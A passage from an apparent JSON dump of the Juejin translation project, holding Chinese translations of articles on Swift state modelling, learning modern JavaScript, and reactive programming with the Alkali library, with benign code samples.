我们可以接着扩展 `render` 函数，以便当状态改变时，自动更新我们所有的 UI。\n\n```\nfunc render() {\n    renderActionButton()\n    renderVideoSurface()\n    renderNavigationBarButtonItems()\n    ...\n}\n```\n\n## 处理状态的变化\n\n渲染是一回事，但通常我们还需要在状态改变时触发某种形式的逻辑。我们可能想要过度到另一个状态，或者开始一个操作。好消息是我们能使用和渲染 UI 时完全相同的模式。\n\n让我们写一个 `handleStateChange` 函数，它也在 `video` 属性中的 `didSet` 被调用。它会根据我们目前所在的状态来运行各种逻辑：\n\n```\nprivate extension VideoPlayerViewController {\n    func handleStateChange() {\n        switch video.state {\n        case .willDownload(let url):\n            // Start a download task and enter the 'downloading' state\n            let task = Task.download(url: url)\n            task.start()\n            video.state = .downloading(task: task)\n        case .downloading(let task):\n            // If the download task finished, start playback\n            switch task.state {\n            case .inProgress:\n                break\n            case .finished(let file):\n                let playbackState = Video.PlaybackState(file: file, progress: 0)\n                video.state = .playing(playbackState)\n            }\n        case .playing:\n            player.play()\n        case .paused:\n            player.pause()\n        }\n    }\n}\n```\n\n## 抽取信息\n\n到目前，我们一直使用 `switch` 语句来执行所有的渲染和状态处理。这样做的好处是，它会“强制”我们思考，所有的状态和条件，并为每一种情况写下适合的逻辑。如果有一个新的状态我们没有处理，它也会让编译器把错误展示给我们。\n\n然而，有时你需要做一些非常具体的事，值影响一个确定的状态，比如我们想在视图控制器离开屏幕时，确保所有正在下载的任务都取消：\n\n```\nextension VideoPlayerViewController {\n    override func viewDidDisappear(_ animated: Bool) {\n        super.viewDidDisappear(animated)\n\n        // Ideally, we'd like an API like this, that let's us cancel any ongoing\n        // download task without having to write a huge switch statement\n        video.downloadTask?.cancel()\n    }\n}\n```\n\n像上面那样访问明确的属性非常好，能帮助我们摆脱一大堆的模板代码，如果我们**一直**使用 `switch` 语句来处理状态的话。\n\n所以，让我们把它变成现实！要实现上面的功能，我们只需要简单的传建一个 `Video` 的扩展，使用 Swift 的 `guard case let` 模式匹配语法来抽取任何正在下载的任务：\n\n```\nextension Video {\n    var downloadTask: Task? {\n        guard case let .downloading(task) = state else {\n            return nil\n        }\n\n        return task\n    }\n}\n```\n\n## 结论\n\n虽然在处理状态时候没有任何捷径，但是以消除歧义并强制明确地定义状态的方式对状态进行建模，通常都会写出更健壮的代码。\n\n使用单一数据源并且响应式的处理状态改变，通常也会让你的代码更加容易阅读与理解，还更容易扩展与重构（只需要添加或删掉一个 `case`，编译器会告诉你，什么代码需要更新）。\n\n这篇文章中我提到的解决方案肯定有取舍，他们的确需要你写一些更多的模板代码，在为状态枚举实现 `Equatable` 的时候也可能会有点棘手（在以后的文章中，我们会看一看如何让代码生成与脚本更容易）。\n\n你怎么看？你已经使用过文中提到的一些技巧吗，还是要试试？告诉我，你可以在下面的评论部分或 Twitter [@johnsundell](https://twitter.com/johnsundell) 上提出任何其他问题或反馈。\n\n感谢阅读！🚀\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/modern-javascript-for-ancient-web-developers.md",
    "content": "> * 原文地址：[Modern JavaScript for Ancient Web Developers](https://trackchanges.postlight.com/modern-javascript-for-ancient-web-developers-58e7cae050f9#.ibsx51ylz)\n> * 原文作者：[Gina Trapani](https://trackchanges.postlight.com/@ginatrapani?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[sun](http://suncafe.cc)\n> * 校对者：[xilihuasi](https://github.com/xilihuasi)、 [Reid](https://github.com/reid3290)\n\n# 写给“老派” Web 开发者的“现代” JavaScript 指南 #\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*_5XMNVNbpIDCDHU1YXZPyA.png\">\n\n用 JavaScript 学习 JavaScript。图片来自 [learnyounode](https://github.com/workshopper/learnyounode)。\n\n有这样一种守旧的后端 web 开发者，他们很久以前就掌握了诸如 Perl 、Python、PHP 或 Java Server Pages 一类的东西，甚至还掌握了 Rails 或者 Django。他们使用巨大的关系型数据库构建 JSON API 服务，呃甚至是 XML。\n\n他是个**后端**开发者， 因此对他而言，JavaScript 一直只是个可以添加一些前端花招，使网页上的东西变色的有趣小玩具。如果说 JavaScript 真的很有用，那也不过是给表单添加验证，以防止错误的数据进入数据库。八年前 [jQuery 让这个人十分震惊](https://twitter.com/ginatrapani/status/3252157585)。JavaScript 本身依然是可以被容忍但从未被接纳的语言。\n\n 随后 JavaScript 及其现代框架侵蚀了后端、前端和他们之间的一切，对于 JavaScript 开发者而言，2017年正是重新成为一个全新 web 开发者的时刻。\n\nHi.我是一个正在学习现代 JavaScript 的“老派” web 开发者。我才刚刚起步玩得也还算尽兴，当然也踩了一些坑。有一些现代 JavaScript 的概念我希望我能在开始学习之前就融会贯通。\n\n在旧编程语言的惯性思维模式之上学习一个新的生态系统，我在心态和期望方面得做下面一些改变。\n\n### 转移目标 (.jS)\n\n现代 JS 的特点就是朝气蓬勃和发展迅速，所以很容易就选择了过时的框架、模板引擎、构建工具、 教程或者已经不是最佳实践的技术。（如果真有一个被广泛接受的最佳实践的概念的话）\n\n这种情况下，就有必要向你身边的 JavaScript 工程师朋友伸手求助了，和他们聊一聊你的技术路线。我很荣幸在 Postlight 得到了工程师朋友(特别是 [Jeremy Mack](https://medium.com/@mutewinter))的精湛指导，感谢他们容忍我无穷无尽的问题。\n\n我要说的是，学习现代的 JavaScript 需要人为干预。事物还在不断发展变化，各种教程尚未成熟和定型，所谓最佳实践也未形成正式规范。如果你身边没有大牛，那么至少也得检查 Medium 上文章或教程的日期，或 GitHub 仓库的最近一次提交时间。如果时间超过了一年，基本上可以确定已经过时。\n\n### 新的问题，而不是已经确定的解决方案 ###\n\n走类似这样的路线：当你在学习现代 JavaScript 时，你遇到的问题的解决方案还在渐渐得到解决，这正是一个好机会。事实上，很可能仅仅差一次 code review，你在使用这个包时就可以修复问题。\n\n当你在使用一种像 PHP 这样的古老的语言的时候，你可以 Google 一个提问或者问题，几乎百分之百能找到一个 5 年前的 Stack Overflow 回答来解决它，或者你能在（详尽的、大量评论的、无与伦比的）[文档](http://docs.php.net/docs.php)里找到整个描述。\n\n现代 JavaScript 就并非如此了。 我曾经徜徉在 GitHub issues 和源码的时候不止一次找到的都是一些过时的文档。剖析 GitHub 版本库是学习和使用各种包的一部分，而且对于我这样的“老派人”，差之毫厘的学习总是令人迷惑。\n\n### 工具过载 ###\n\n在 2017 年学习 JavaScript 还有另一个不一样的地方：创建程序花费的时间感觉和写应用的时间一样多。需要以“正确的方式”去做的工具、插件、软件包和依赖以及编辑器配置和构建配置所需的绝对数量足以使你在启动项目之前望而却步。\n\n[![Markdown](http://i4.buimg.com/1949/adafb30475d3d36a.png)](https://twitter.com/capndesign/status/832638513048850433/photo/1)\n\n**不要因此止步不前**。我不得不放手去做，从起步到正确配置，允许自己的不完美甚至一些业余，只为舒适地使用自己的工具。（我不会告诉你我曾用 [nodemon](https://nodemon.io/) 做代码检查）随后我会找到更好的方法并且在每个新项目中纳入进来。\n\n这方面 JS 还有大量的工作要做。现代 JavaScript 领域依然是不断变化的，但我一个现代 JS 工程师亲友告诉我，[这份来自 Jonathan Verrecchia 的教程](https://github.com/verekia/js-stack-from-scratch)是目前构建一个当代 JavaScript 栈的不二之选。对，就是现在。\n\n[![Markdown](http://i1.piimg.com/1949/95cedaf271a8c352.png)](https://github.com/verekia/js-stack-from-scratch)\n\n### 教程 / 项目 / 舍弃 / 重复 ###\n\n无论学习什么语言都要经历写代码 - 舍弃 - 写更多代码这个过程。我的现代 JavaScript 学习经历已经成为一个个教程组成的阶梯，然后做一个小巧简单的项目，期间总结出现的疑问和困惑列出清单。然后和我的同事碰头以获得答案和解释，然后刷更多的教程，然后做一个稍微大一些的项目，更多的问题，再碰头，如此重复。\n\n这是迄今为止我在这个过程中经历过的一些研讨会和教程的不完整列表。\n\n- [HOW-TO-NPM](https://github.com/workshopper/how-to-npm) —— npm 是 JavaScript 的包管理器。即使在学习这个教程之前我已经敲打过上千次 “npm install”，但是知道学完这个我才知道 npm 做的所有事情。（在很多项目中我已经转移使用 [yarn](https://github.com/yarnpkg/yarn)，而不是 npm，但所有的概念都是相通的）\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*0NydvP4xLtp13z_HE2Xqyw.png\">\n\n`npm i -g how-to-npm`\n\n- [learnyounode](https://github.com/workshopper/learnyounode)——我打算专注于服务端 JavaScript，因为那有令我安逸的东西，那就是 Node.js。Learnyounode 是一个交互式教程，结构上类似 how-to-npm。\n\n- [expressworks](https://github.com/azat-co/expressworks) —— 和前面两个项目类似，Expressworks 是 Express.js 的介绍，一个 Node.js 的 web 框架。在 Postlight 公司 Express 没有得到广泛使用，但对于初学者，它值得学习去上手构建一个简单的 web 应用。\n- 现在是时候做点真东西了。我发现 Tomomi Imura 的一篇教程 [Creating a Slack Command Bot from Scratch with Node.js](http://www.girliemac.com/blog/2016/10/24/slack-command-bot-nodejs/) 已经可以学到足够的 Node 和 Express 的新技能来应对工作。因为我专注于后端，使用 Slack 创建一个 “/” 命令是一个很好的开始，因为没有前端演示（Slack 帮你做好了）\n- 在构建这个命令的过程中，我不使用演练中所推荐的 ngrok 或者 Heroku，而是使用 [Zeit Now](https://zeit.co/now)，这是任何人可用的、创建快速一次性的 JS 应用的宝贵工具。\n- 一旦开始写真正意义的代码，我也开始掉下工具无底洞了，安装 Sublime 插件，获取正确的 [Node 版本](https://github.com/postlight/lux/blob/master/CONTRIBUTING.md#nodejs-version-requirements)，配置 ESLint，使用 [Airbnb 的代码规范 (Postlight 公司的偏好)](https://github.com/airbnb/javascript) —— 这些事情拖了我的后退，但也都是有价值的初始化投资。对于这方面我还在坑里，例如 Webpack 对我来说依然美妙又神秘，不过[这个视频是个很不错的介绍](https://www.youtube.com/watch?v=WQue1AN93YU)*.*\n- 某些时候 JS 的异步执行（特别是[回调地狱](http://callbackhell.com/)）开始困扰我，[Promise It Won’t Hurt](https://github.com/stevekane/promise-it-wont-hurt) 是另一个教你怎样使用 Promise 书写优雅异步逻辑的教程。Promise 是用于解决异步执行的 JS 新概念。说实话 Promise 令我耳目一新，他们是巧妙的范式转变。感谢 [Mariko Kosaka](http://kosamari.com/notes/the-promise-of-a-burger-party)，现在我每次买汉堡的时候都能想起这些。\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*Gh5Pv0ujTuikxGZMeANfCg.png\">\n\nburger.resolve() — 图片来自 [The Promise of a Burger Party](http://kosamari.com/notes/the-promise-of-a-burger-party).\n\n我知道在这会陷入各种各样的麻烦，比如尝试使用 [Jest](https://facebook.github.io/jest/) 测试，使用 [Botkit](https://github.com/howdyai/botkit) 让 Slack 机器人更有趣，使用 [Serverless](https://serverless.com/) 真正打破函数式编程的价值。如果你不知道这些是什么意思，其实也没关系。这是一个大世界，我们都有属于自己的路要走。\n\n### **“首先做，然后做对，然后做得更好**.” ###\n\n最后这件最重要的事我一定要提起：不断去做就是学习的过程，做得很糟糕？那也是学习的过程。\n\n[这年头学习现代 JavaScript](https://hackernoon.com/how-it-feels-to-learn-javascript-in-2016-d3a717dd577f#.kclvczou2) 感觉就像是在不知所以然得做无用功。当你在想有这么多时间搬搬砖不是更好吗的时候，Google 的 [Addy Osmani 有个不错的建议](https://medium.com/@addyosmani/totally-get-your-frustration-ea11adf237e3#.t599ja0j3)\n\n> 我鼓励人们采用这种方法来跟上 JavaScript 生态系统：**首先做，然后做对，然后才是做得更好**. […]\n\n> 掌握任何新技能的基本要求都需要时间，实践和技巧。如果不使用每日一库或者响应式学习，容易产生挫败感。学会正确使用 Babel 和 React 花费了我数周时间，学习 Isomorphic JS，WebPack 和其他所有相关的库花了更多的时间。 **简简单单地开始并且从基础做起就好.**\n\n这里**感谢** [ **NodeSchool**](https://nodeschool.io/) 和 [**Free Code Camp**](https://www.freecodecamp.com/)，帮助初学者学习 JavaScript 的两个神奇的网站.  \n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/modernization-reactivity.md",
    "content": "> * 原文地址：[Modernization of Reactivity](https://davidwalsh.name/modernization-reactivity)\n* 原文作者：[ Kris Zyp](https://kriszyp.name/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Liz](http://lizwangying.github.io/)\n* 校对者：[llp0574](https://github.com/llp0574)，[luoyaqifei](https://github.com/luoyaqifei)\n\n# 与时俱进的 Reactivity\n\n近十年来，响应式编程的兴起给 JavaScript 带来了暴风雨式的进化改革，前端开发极大地从其简洁性中获益，用户界面随着数据变化实时响应，淘汰掉更新UI时大量易出错的代码。然而，在它变得更加流行的同时，已有的工具和技术并不总是跟上当代浏览器功能，比如 Web API、语言能力以及性能优化算法、可扩展能力、简化的语法和持续稳定性。在本文中，让我们以一个新库—— [Alkali](http://kriszyp.github.io/alkali/) 为背景，展示一些已有的新技术、方法和功能。\n\n接下来我们将要介绍的技术，包含了渲染队列、基于 pull 的细粒度响应，ES6 的响应式生成器和表达式，响应式原生 Web 组件，还有双向数据流。这些技术不仅仅只是一时兴起的编程方法，它们是采纳了已有的浏览器技术并结合深入的研究和开发的作用产物，造就了更佳的性能、更简洁的代码、与新组件更好的协调性以及更好的封装。\n[![](https://github.com/kriszyp/todomvc-perf-comparison/raw/master/sampleResults.png)](https://github.com/kriszyp/todomvc-perf-comparison/)   \n那么我们将看几个既简单又具有声明性的例子 （你也可以直接看看这个更完整的例子： [ Alkali todo-mvc application ](https://github.com/kriszyp/alkali-todo) ）。它们使用了标准的原生结构，还有或许能够用到的重要的特性：在资源消耗最低的基础上能够快速展示。这些前沿技术的确带来了可扩展的好处、高效率和可观的效益。在各种库层出不穷的情况下，最具有预见性和稳定性的库结构，就是直接架构在基于标准的浏览器元素（或组件） API 上的。\n\n## Push-Pull Reactivity （响应式 Push-Pull）\n\n扩展响应式编程的关键是数据流的架构。一种原生的响应式方法就是使用简单的观察者或者监听者模式，将每一次更新以判断流的形式，推送至每个对应的监听器中。这种快速响应会在任何多步状态发生更新的情况下，造成很多不必要的重复的中间判断，从而导致过度计算。一种更具扩展性的方法则是使用基于 pull 的方式，只在下游观察者（ Observable ）请求或者拉取最新值时（懒加载式）计算。订阅者（ Observer ）在被通知依赖数据的改动后，可以采用 de-bouncing 或者 queuing 的方式请求数据。\n\n基于 pull 的方法也可以结合缓存使用。一旦数据计算完成，结果就可以被缓存，然后上游发生改变发出通知，就会使下游缓存的数据失效，从而保证数据的实时性。这种基于 pull 的响应式缓存失效方案不但遵循和 REST 一样的设计架构以及网络的可扩展设计，而且也遵循现代浏览器渲染流程的架构。\n\n然而，当场景正在渐进式更新当前状态时，对于某些事件，更推荐使用『 推送 』方式，当逐步增加、删除、更新集合中的元素时，它是个非常有效的方法，并且与其他一起混合搭配使用会更好哦，比如：数据主要是从观察者处拉取的，但增量更新可以通过实时数据流作为优化被推送。\n\n## Queued Rendering （渲染队列）\n\n想要通过基于响应式 Pull 在响应式的 app 中以提高应用效率，关键就是确保渲染的执行消耗最小。通常情况下，应用程序的多个部分可能都在更新状态，如果渲染是同步的，任何状态变化都立即执行，这很容易导致界面抖动，并且执行效率低。通过排队渲染我们可以确保即使多个状态发生变化，渲染依然是最小化的。\n\n排队行为或消除抖动是一种相对常见并且出名的技术。然而，对于优化排队渲染，浏览器实际上给通用的消除抖动方法提供了一个极好的替代。由于它的名字叫 `requestAnimationFrame` ，所以常被认为是动画相关的库，但实际上这个新的API在渲染队列状态改变方面表现的相当完美。它是宏观事件的 Task ，所以任何微小的 Task ，比如分辨率低的将被允许首先加载完成。考虑到最后的渲染，选项卡/浏览器的可见性，当前负载等等，它还允许浏览器来确定精确的最佳时机来渲染新的变化。它在可见的休眠状态下可以立即执行回调（通常是毫秒级），在适当的帧速率在顺序呈现的情况下，当一个页面/选项卡隐藏的时候甚至可以完全延迟（执行）。事实上，通过 `requestAnimationFrame` 渲染队列状态的改变，当视图需要更新时再渲染，我们实际上和那些当代浏览器使用的优化渲染流、精确时机以及序列/路径相同。这种方法确保了我们和浏览器以一种互补的方式去进行高效、及时的渲染，并避免了额外的布局和重绘。\n\n这可以被认为是两个阶段的渲染方法。第一阶段是对事件处理器的响应，我们更新规范化数据来源，进而使依赖这些数据的衍生数据或者组件失效。无效UI组件都是排队等候渲染。第二阶段是渲染阶段，检索必要的数据并渲染。\n\n![](https://kriszyp.files.wordpress.com/2015/11/two-phase-rendering.png?w=780)\n\nAlkali 通过 [渲染器对象](https://github.com/kriszyp/alkali#renderers) 渲染队列，实时与响应式的数据输入和对应的元素相关联（在 alkali 中称为『变量』），然后通过 `requestAnimationFrame` 机制重新渲染队列状态。这意味着任意数据绑定都与渲染队列相连。这也可以通过实例化一个Variable对象，并将其与一个元素关联（这里我们创建一个greeting）来表明。示例代码如下：\n\n    import { Variable, Div } from 'alkali'\n\n    // 创建一个变量\n    var greeting = new Variable('Hello')\n    // 创建一个 div ，里面与变量相关联\n    body.appendChild(new Div(greeting)) // 注意，这是一个标准的 div 元素\n    // 现在变量的更新会实时相应到 div 中\n    greeting.put('Hi')\n    // 这里的渲染机制会在 div 中排队渲染\n    greeting.put('Hi again')\n\n这里的 div 使用了 `requestAnimationFrame` 机制，将随时自动更新 div 的状态改变，并且多个更新不会导致多个渲染，只有最后一个状态将会被渲染。\n\n## Granular Reactivity （细粒度的响应）\n\n单纯的响应式编程允许单个信号或变量被使用及通过系统传递。然而，由于有利于维持大家对命令式编程的熟悉状态，一些基于 diff 的响应式框架也变得很受欢迎，如使用虚拟 DOM 的 ReactJS 。这些框架能够让大家继续采用命令式代码编写应用程序的方式编写程序。当应用程序任意的状态改变时，组件只是重新渲染，一旦完成了，则将组件的输出与先前的输出比较不同之处，来确定更改。与显式数据流产生一些特定明确的变化更新到渲染过的 UI 上不同的是， diff 是将重新执行的输出结果与先前的状态进行比较。\n\n虽然使用这种开发很方便也能够产生我们熟悉的示范代码，但是它牺牲了巨大的内存和性能。响应式对比需要一个完整副本的渲染输出和复杂的对比算法来确定差异来减轻过度 DOM 重写。这个虚拟 DOM 通常需要2到3倍的内存使用和对比算法增加类似的开销相比才能直接确定 DOM 的改变。\n\n另一方面，真正的响应式编程显式地定义了可以改变的变量或值、以及它们变化时对它们的值的连续输出。这并不需要任何额外的开销或对比算法，因为输出是直接被代码里定义好的联系所指定的。\n\n程序可调式性得益于细粒度的功能活性代码流。调试命令式编程涉及重构的条件和重建代码块的步骤，需要复杂的推理评估状态值得改变(以及它如何会是错误的)。函数式的响应流可以执行静态检查，在任何时候任何地方我们都可以看到完整的与 UI 输出相对应的各自的不独立的输入图。\n\n还有，使用真正的响应式编程技术不是一个深奥或用来卖弄学问的计算机科学技术，它其实在程序的可扩展性、提升速度、加快响应能力、便于调试应用程序流有着显著的好处。\n\n## Canonical and Reversible Data （双向数据流的规范） \n\n在细粒度的 Reactivity 中甚至可以将明确的数据流的传递方向逆转，也就是达到双向绑定成为可能，这样下载流数据的消费者，如输入元素可以请求上传数据变化，不需要额外的配置连接或必要的逻辑。这使它非常容易与表单的输入控件建立绑定的形式。\n\n响应式编程的一个重要原则是『来源的真实一致性』，有一个明确的规范来区别规范的数据来源和派生数据。响应式的数据可以称为一个的指向性的数据。这对数据管理是至关重要的。如果同步多个数据状态，并没有明确的来源和派生数据，会使数据管理混乱，导致多种声明管理问题。\n\n单向型的数据随着集中式的数据改变而改变，它与响应式的数据改变有联系，是一种适当有向型的图形数据。很不幸，单向型的数据流根本上意味着数据的消费者可能必须手动连接到数据源，也就是这是典型的违反了本地化原则还有逐步降低了封装性，这样导致越来越多的独立组件之间纠缠不清，使得开发愈加繁重。\n\n然而，一个有向的规范的数据并不必要只能命令数据改变通过图形联系这一种方法。通过使用细粒度的 Reactivity ，就可以支持双向数据流。通过双向数据性，数据的导向性仍然可以被保留，只需在下游数据发生变更或新增时发出通知即可，而相比曾经，上游数据的变化被定义为数据改变发起的请求(在未来实现中，是可撤销的)。衍生数据的改变请求依然可以实现，只要它含有反向转换传递请求原始资料（双向数据遍历或转换通常被称为一个 `lens` 的功能性术语）。规范化数据的变化仍然发生在数据源上，即使被下游数据消费者初始化过或者请求过。具有了这样的清晰的据流特性，有向型的规范数据和衍生数据都会被保留下来，维护状态的一致性，并同时允许封装的独立数据实体之间交互，不管它们是否是衍生数据。实际上，这简化了开发用户的输入和表单的管理，还有助于输入组件的封装。\n\n## 与时俱进的 DOM 扩展 （『 Web 组件』） \n\n学习编程要具有远见，代码的可维护性是至关重要的，你的代码要在 JavaScript 的生态系统中随着众多新技术的不断涌现还能够做到可维护，这是极具挑战性的。三年后哪家新框架能够闪耀夺目？从过往的历史来看，这是很难预测的。在这种杂乱的情况下我们怎么发展？最可靠的方法是减少依赖特定 API 库，并最大化我们的依赖标准浏览器 API 和架构。使用新兴组件 API 和功能（就是『 Web 组件』）才更加可行。\n\n响应式结构的最佳定义不应该是规定一个特定的组件体系结构，应灵活地使用原生或第三方组件，这样才能在未来的发展中最大化地生存。然而，尽管我们极力降低耦合，某种程度的耦合可能是有用的。特别是当能够直接使用变量作为值或属性的输入，无疑是比创建数据绑定后再获的数据来的方便。与元素或组件生命周期的集成、当元素被删除或分离时通知，便于自动清理的依赖性和监听机制，为了防止内存泄漏，减少资源消耗，简化组件使用。\n\n此外，当今的浏览器使得 Web 组件集成与原生元素的集成完全可行。如今可以从现有的 HTML 原型上定义真正基于 dom 的定制类，通过响应式可勘测变量的构造函数，配合 `MutationObserver` 接口（和未来潜在的 Web 组件回调）让我们能够监控元素是什么时候分离的（或者附加上的）。ES5 的 getter / setter 同样很好地表明了允许我们适当地扩展和重定制原生元素的样式属性。\n\nAlkali 定义了一系列明确的 DOM 构造函数和类来支持这些功能。这些类是原生 DOM 类的最小扩展，它的构造函数参数支持输入变量控制属性，还支持变量自动清理。结合使用懒加载的或者基于响应式 Pull 的Reactivity，这意味着元素的数据改变动态可见，一旦数据分离，将不再触发任何通过其依赖的输入的判定。这就导致一个元素的创建和扩展会自动自己清除监听器。例如:\n\n    let greetingDiv = new Div(greeting)\n    body.appendChild(greetingDiv)\n    // greeting 的改变会自动创建一个绑定监听\n    ...\n    body.removeChild(greetingDiv)\n    // greeting的绑定/监听会被清理掉\n\n## Reactive Generators （响应式生成器）\n\n不光是 Web API 在响应式编程方法中提供了重大的改进，ECMAScript 语言它本身就有着激动人心的新功能，它的语法的优化使得更容易编写响应式代码。其中一个强大的新特性是生成器（ generators ），它提供了一个优雅的和直观的代码流交互的语法。也许处理响应式数据的最大的不便就是 JavaScript 是经常需要回调函数来处理状态改变。然而，ECMAScript 新的生成器函数能够暂停，恢复，并重新启动一个函数，它可以应用响应式数据的输入通过标准的顺序语法，还可暂停和重新开始获取任何的异步输入。生成器的控制器还可以自动订阅依赖输入，当输入变化则重新执行该函数。这种控制函数的执行使得生成器能够利用收益成为可能（ leveraged to yield 双关语！下文中提到的函数 `yield` ），通过直观和浅显易懂的语法就能够控制复杂的变量组合输入。\n\nGenerator 曾被赋予众望，希望能够像承诺中的那样淘汰掉 Callback 回调，并且支持直观的顺序语法。但是 Generator 不仅在暂停或者恢复一个异步输入方面发挥出色，还能够在任何输入值改变的时候立刻重启。这只需在任何输入变量的前面使用操作符 `yield` 就可轻松做到，它还允许相应的代码监听其变量的变化，并返回当前变量的值可获取时的表达式。\n\n让我们来看看这是如何完成的，在 Alkali 中，生成器函数可以作为输入变量的转换，想要使用 `react` 创建一个想响应式函数能够输出一个新的复合变量。 `react` 函数充当生成器的控制器来控制响应式变量。下面来看一个分步讲解举例：\n\n    let a = new Variable(2)\n    let aTimesTwo = react(function*() {\n      return 2 * yield a\n    })\n\n`react` 控制器负责处理所提供的 Generator 的启动。一个 Generator 函数返回一个 iterator 用来交互， `react` 负责启动 iterator。当 Generator 计算到 `yield` 操作符出现时才会执行，这里代码会直接与 `yield` 操作符相遇，然后将 `yield` 操作符从 iterator 得到的返回值交给 `react` 函数处理。在这种情况下， `a ` 变量将被返回给 `react` 函数，这就使得 `react` 函数身兼多职有木有。\n\n首先，它可以订阅或监听所提供的响应式变量（如果它是的话），所以它在任何改变发生时都能够通过重新执行的方式立即做出响应。第二，它可以得到当前状态或反应变量的值，当 resume 时它可以返回 `yield` 表达式的结果。最终返回前， `react` 函数可以检查这个响应式变量是否是异步的、是否持有约定值，如果必要还可等待约定值返回之后恢复执行函数。一旦拿到当前的状态，生成器函数就会恢复执行 `2 ` 的值，将它返回给 `yield a ` 表达式。如果有更多的 `yield` 表达式，它们会顺序执行，并以同样的方式解决。在这种情况下，生成器将返回一个 `4 ` ，然后结束生成器序列（直到 a 变化或重复执行）。\n\n通过 `react` 函数，这个代码的执行被封装在另一个复合的响应式变量中，任何变量的变化不会触发重新执行操作，直到下游数据访问或请求它执行。\n\nAlkali 生成器函数还可以直接使用在元素构造函数中定义一个渲染功能，它在任何输入值发生变化时都会自动重新执行。在这两种情况下，我们在所有变量前面使用前面提到的 `yield`。 \n\n    import { Div, Variable } from 'alkali'\n    let a = new Variable(2)\n    let b = new Variable(4)\n    new Div({\n      *render() {\n        this.textContent = Math.max(yield a, yield b)\n      }\n    })\n\n这创建了一个文本内容为4的textContent（两个输入的最大值），我们可以更新其中任一变量，它将重新执行。\n\n    a.put(5)\n\n`a` 现在的内容将被更新为 `5` .\n\n生成器还不是普遍兼容所有的浏览器（比如 IE 浏览器和 Safari 就不支持），但是生成器可以搭载或者在其他工具模拟下实现（比如 Babel 或其他工具）。\n\n### Properties and Proxies （属性和代理）\n\nReactivity 响应式地绑定到对象的属性上是很重要的一个方面。但是封装属性的更改通知，需要的不仅仅是当前的标准属性访问返回的值。因此，响应式地绑定属性或变量需要更详细的语法。\n\n然而，ECMAScript另一个激动人心的新特性是代理，它允许我们定义一个对象用来拦截所有属性访问和修改自定义功能。这是很强大的特性，可用于通过普通属性访问返回 reactive 属性变量，更方便不说，reactive 对象也是使用惯用的语法。\n\n不幸的是代理不像 Babel 那么容易通过代码编译器模拟。模拟代理不仅需要 transpiling 代理构造函数本身，还需要任何代码访问代理，所以模拟器没有了原生语言的支持是不完整的，它会执行莫名缓慢并且代码臃肿，由于需要大量的执行 transpiration ，过滤应用程序的每个属性。但更有针对性地执行 transpiration 也是可行的。让我们来看看。\n\n## Reactive 表达式\n\nECMAScript不断推进的同时，Babel 及其插件等工具也在与时俱进，这给我们很大机会来创建新的编译语言特性。当生成器可以很酷炫地使用 Babel 插件创建一个函数去执行异步操作和响应式地立即执行的操作，使用 ECMAScript语法将属性绑定，代码可以转化为完全响应式的数据流。这就比简单的执行 re-execution 要复杂很多，比如表达式的输出与输入之间可定义一些操作，比如可逆操作符，响应式的属性，还有使用简单的惯用的表达式可以生成响应式的任务。\n\n这里有[一个独立的项目](https://github.com/kriszyp/babel-plugin-transform-alkali) ，它使用了基于 Alkali 的插件 Babel 转换响应式表达式。使用这个我们可以编写一个表达式用 `react` 作为参数调用/操作符：\n\n    let aTimes2 = react(a * 2)\n\n这里的 `aTimes2` 的值与输入的变量 `a` 的乘法运算值相绑定。如果我们改变 `a` 的值（使用 `a.put()` 就可改变它的值），`aTimes2` 将会自动更新值。事实上由于我们使用了完美定制的 `react` 操作符，所以这个数据还是可逆的。我们可以为 `aTimes2` 指定一个新的值，比如 `10` ，那么 `a` 的值将自动更新为 `5`。\n\n如上所述，代理模拟整个代码库几乎是不可能的，但是在我们响应式表达式中呢，响应式变量编译属性的语法去控制属性的就是洒洒水的小事啦。还有更厉害的，其他的操作符还可以将变量 transpile 成可逆的。例如，我们可以写复杂的纯响应式代码的组合:\n\n    let obj, foo\n    react(\n      obj = {foo: 10}, //我们可以创建新的响应式对象\n      foo = obj.foo, //得到一个响应式对象的属性\n      aTimes2 = foo //将它赋值给 aTimes2 （绑定到上边的表达式中）\n      obj.foo = 20 //更新对象（就会响应式地将值通过 foo ， aTimes2 传递给 a ）\n    )\n    a.valueOf() // -> 10\n\n##技术要与时俱进\n\nWeb 开发一直是在不断变化和进步，它的每一次进步都激动人心。Reactivity 是当今应用程序中先进的编程理念，它随着新技术的发展和现代浏览器功能的不断进化，它的语言和 API 也在与时俱进。他们一起使用过可以使 Web 开发朝前迈进。对于未来的发展中的无限可能我是满满的激动，并希望这些想法能够实现，未来的新工具对于 Web 开发的改进我拭目以待。\n\nAlkali 已被我们的工程师团队使用， 在 [Doctor Evidence](https://drevidence.com/) 